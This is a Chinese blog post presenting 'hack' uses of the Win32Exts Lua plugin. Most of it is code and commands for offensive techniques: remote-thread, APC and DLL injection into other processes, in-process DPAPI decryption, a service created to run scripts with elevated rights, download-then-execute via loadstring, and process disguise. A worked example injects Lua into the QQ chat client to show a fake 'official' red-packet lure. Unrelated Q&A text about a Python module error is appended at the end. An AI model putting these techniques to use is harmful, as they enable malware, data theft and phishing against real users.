关于 Win32Exts 工具相关的一些Hack技术技巧

 

首先什么是 Win32Exts?

                Win32Exts 是一套Windows下面提供给 Lua / Python / Java / JavaScript / VBScript / VBA 等语言的插件集合,

         利用该插件集可以在上述语言(多为脚本语言)中实现依照统一的语法格式调用系统的任意 Native代码(DLL / COM),

         包括 Win32 API 以及任意第三方开发的 DLL 或者 COM / ActiveX 组件。

 

          除此之外,对于不同语言还提供了很多额外的扩展功能,尤其以 Win32Exts for Lua 最为完备。

          本文主要以 Lua 语言为基础,介绍 Win32Exts 组件的一些Hack应用技巧(仅供学习,请勿用于任何非法目的)。项目地址:

                  https://github.com/tankaishuai/win32exts_for_Lua

 

 

一、搜集系统各种环境信息

   见文章《Lua 中 获取各种系统环境信息用法 for Win32Exts》

                  https://blog.csdn.net/tan_kaishuai/article/details/104507255

   通常来说,获取的信息可以通过以下接口读取或者写入磁盘文件:

    ret/is_ok = win32exts.load_var(file_path, [is_set_global])
    is_ok = win32exts.save_var(file_path, var1, [var2, ...])

    或者通过以下一些接口进行序列化、反序列化操作便于数据传输:

    ptr = win32exts.pack(arg1, [arg2, ...]) 
    ptr = win32exts.pack_v2(arg1, [arg2, ...]) 
    ptr = win32exts.pack_ex(process_id, arg1, [arg2, ...])
    ptr = win32exts.pack_ex_v2(process_id, arg1, [arg2, ...])
    size = win32exts.pack_bytes(arg1, [arg2, ...])
    size = win32exts.pack_bytes_v2(arg1, [arg2, ...])
    ptr = win32exts.pack_merge(ptr1, ptr2)
    ret_tab = win32exts.unpack(ptr, [is_release_ptr])
    size = win32exts.unpack_bytes(ptr)

 

 

二、系统加解密

   str = win32exts.unprotect_data(ptr, cb, [flags, is_unic])
   ptr, cb = win32exts.protect_data(str/ptr, cb, [flags])

   通常来说,需要配合下述代码注入系列接口在目标进程执行加解密操作。

 

 

三、lua 代码注入

    handle, hr = win32exts.create_remote_thread(process_id, text, [args])
    handle, hr = win32exts.create_remote_thread_v2(process_id, text, [arg1, arg2, ...])

    hr = win32exts.queue_remote_apc(thread_id, text, [args])
    hr = win32exts.queue_remote_apc_v2(thread_id, text, [arg1, arg2, ...])

    handle, hr = win32exts.inject_remote_thread(thread_id, text, [args])
    handle, hr = win32exts.inject_remote_thread_v2(thread_id, text, [arg1, arg2, ...])
    hr = win32exts.inject_remote_thread_ex(thread_id, text, [args])
    hr = win32exts.inject_remote_thread_ex_v2(thread_id, text, [arg1, arg2, ...])

    hr = win32exts.inject_remote_window(hwnd, text, [args])
    hr = win32exts.inject_remote_window_v2(hwnd, text, [arg1, arg2, ...])

    handle/-1, tid/exit_code, remote_ptr = win32exts.inject_code(pid, text, [is_wait])
    handle/-1, tid/exit_code, remote_ptr = win32exts.inject_code_v2(tid, text, [is_wait])

    以上分别使用各种不同的方法进行 lua 代码注入 至指定进程并执行之。

    可参阅:https://blog.csdn.net/tan_kaishuai/article/details/104393576

 

    例如,以下代码查找 某聊天软件的进程,并在其进程中执行指定的 Lua 脚本, 显示一个消息框:

     local  injected_code = [=[

           win32exts.load_sym("*", "*") 

           __ret = win32exts.MessageBoxA( __args[1], __args[2], __args[3],  1) 

      ]=]

 

      win32exts.load_sym("*", "*") 

      hWnd = win32exts.FindWindowA( "TXGuiFoundation", "QQ" ) 

      g_buf = win32exts.malloc(4)

      win32exts.GetWindowThreadProcessId( hWnd, g_buf ) 

      dwProcessId = win32exts.read_value(g_buf, 0, 4)

      h = win32exts.create_remote_thread_v2( dwProcessId, injected_code,  hWnd, "请点击:https://www.taobao.com/,红包多多!",  "这是官方的推送哦!!")

      if  win32exts.end_remote_thread(h)  == 1  then

               -- 用户点击了 OK 按钮

               win32exts.WinExec( "explorer.exe https://www.taobao.com/", 1 )

      end

 

 

四、DLL 模块注入

    handle = win32exts.inject_dll(process_id, dll_path)
    handle, hr = win32exts.inject_dll64(process_id/thread_id, dll_path, [func_name, str_arg, int_arg])
    handle = win32exts.inject_dll_v2(process_id, dll_path, [func_name, text, args])
    handle = win32exts.inject_dll_v3(thread_id, dll_path, [func_name, text, args])
    hr, handle, proc_info = win32exts.create_process_with_dll(app, command, dll, [rep_hook, quit, desktop])
    hr, ret = win32exts.create_process_with_dll_v2(app, command, dll, [rep_hook, hwnd])
    hr, handle = win32exts.inject_process_with_dll(process_id, thread_id, dll, [rep_hook])

    以上分别使用各种不同的方法进行模块注入,支持注入32位、64位进程。

 

 

五、创建服务,以服务权限 执行目标脚本

     首先在管理员权限下执行:

     rundll32 win32exts.dll,CreateSvcHost_RunDll32 win32srv2

     创建一个名为 win32srv2 的服务。

     然后执行:

     sc start win32srv2 your_script.lua

     即可以实现 以服务权限 执行你的脚本:your_script.lua。

 

 

六、截屏,并存为文件

      hr = win32exts.snapshot_win(file_path, [hwnd, {l, t, r, b}])

 

 

七、锁屏

       retval = win32exts.try_lock_screen([is_new])

 

 

八、执行 Explorer Shell 操作命令:

      menu_tab, hr, menu_handle = win32exts.invoke_shell_command(dir_path, item_name, [command/index])

      hmenu, ctx_ptr = win32exts.get_shell_menu([file_path, cmd_start, flags, is_hold_ctx])
      hr = win32exts.invoke_shell_menu(ctx_ptr, cmd_offset/cmd_name, [is_show_ui])

 

 

九、动态反汇编:

      len, instr = win32exts.disasm({start_addr, end_addr}/start_addr, [virtual_addr = 0])

 

 

十、下载一段脚本并读取、执行

      is_ok, [save_path] = win32exts.download_to_file(url, [save_path])

      str_val = win32exts.download_to_memory(url, [headers, acp, backup_file])

      str_val = win32exts.read_file_text(file_path, [acp])

      pcall( loadstring(str_val)  )

 

 

十一、进程伪装技术:

      hr, thread_id = win32exts.create_process_with_pid(app, command, [pid])

      is_ok, [proc_info] = win32exts.exec_fork([bin_path / ptr, cb], [wrap_path])

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 这个错误通常是因为你的代码中使用了 `einops_exts` 模块,但是你的环境中并没有安装该模块。 `einops_exts` 是一个扩展模块,需要在 `einops` 模块的基础上安装,你可以通过以下方式安装它: ``` pip install einops[exts] ``` 如果你已经安装了 `einops` 模块,但是仍然出现这个错误,可能是因为你的 `einops` 版本太低,建议更新到最新版本。如果还有问题,可以尝试重新安装 `einops` 和 `einops_exts`。 ### 回答2: "No module named 'einops_exts'" 是Python编程语言给出的一个错误信息,意味着在当前环境中找不到名为 'einops_exts' 的模块。 'No module named' 错误通常表示我们尝试导入一个不存在的模块,或者我们尚未安装所需的模块。 要解决此问题,有几个步骤可以尝试: 1. 确认拼写正确:检查你在代码中输入的模块名 'einops_exts' 是否正确,包括大小写。 2. 安装所需模块: 如果确保拼写正确,那么你可能需要通过pip或conda安装缺失的模块。打开命令行终端,执行以下命令安装 'einops_exts' 模块: ``` pip install einops_exts ``` 或 ``` conda install einops_exts ``` 这将下载并安装 'einops_exts' 模块及其依赖项。 3. 更新模块版本:如果已经安装了 'einops_exts' 模块,但仍然出现错误,可以尝试升级模块到最新版本。执行以下命令: ``` pip install --upgrade einops_exts ``` 或 ``` conda update einops_exts ``` 如果以上步骤都无法解决问题,那么可能是 'einops_exts' 模块并不常见或不可用,或者你在使用的非标准库中有命名冲突。在这种情况下,你可能需要进一步了解如何使用或修复该模块,或者可能需要寻找替代方案。 ### 回答3: "No module named 'einops_exts'" 是一个错误消息,意味着在Python程序中没有找到名为 'einops_exts' 的模块。 出现这个错误通常有以下几种可能的原因: 1. 没有安装 'einops_exts' 模块:首先需要确认系统中是否已经正确安装了 'einops_exts' 模块。可以通过命令行输入 'pip list' 来查看已经安装的Python模块列表。如果没有安装 'einops_exts',则需要使用 'pip install einops_exts' 命令来安装。 2. 安装路径不在Python搜索路径内:安装了 'einops_exts' 模块后,需要确认该模块的安装路径是否在Python的搜索路径内。可以通过输入以下代码来查看Python的搜索路径: import sys print(sys.path) 如果 'einops_exts' 模块所在的路径不在列表中,可以将该路径添加到搜索路径中,或者将 'einops_exts' 模块拷贝到已有的搜索路径内。 3. 模块名拼写错误:检查代码中是否正确拼写了 'einops_exts'。Python对模块名是区分大小写的,确保代码中的模块名拼写与安装的模块名完全一致。 4. 在不正确的Python环境中运行代码:如果存在多个Python环境,需要确保 'einops_exts' 模块是在正确的环境中被安装和运行的。可以通过在命令行中输入 'python' 来打开Python解释器,然后尝试导入 'einops_exts' 模块来验证是否正确安装。 总结来说,解决 'No module named 'einops_exts'' 错误的关键是要确保 'einops_exts' 模块已经正确安装,并且在Python的搜索路径中。如果仍然有问题,可以尝试重新安装该模块,或者在官方文档或社区论坛中寻求帮助。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值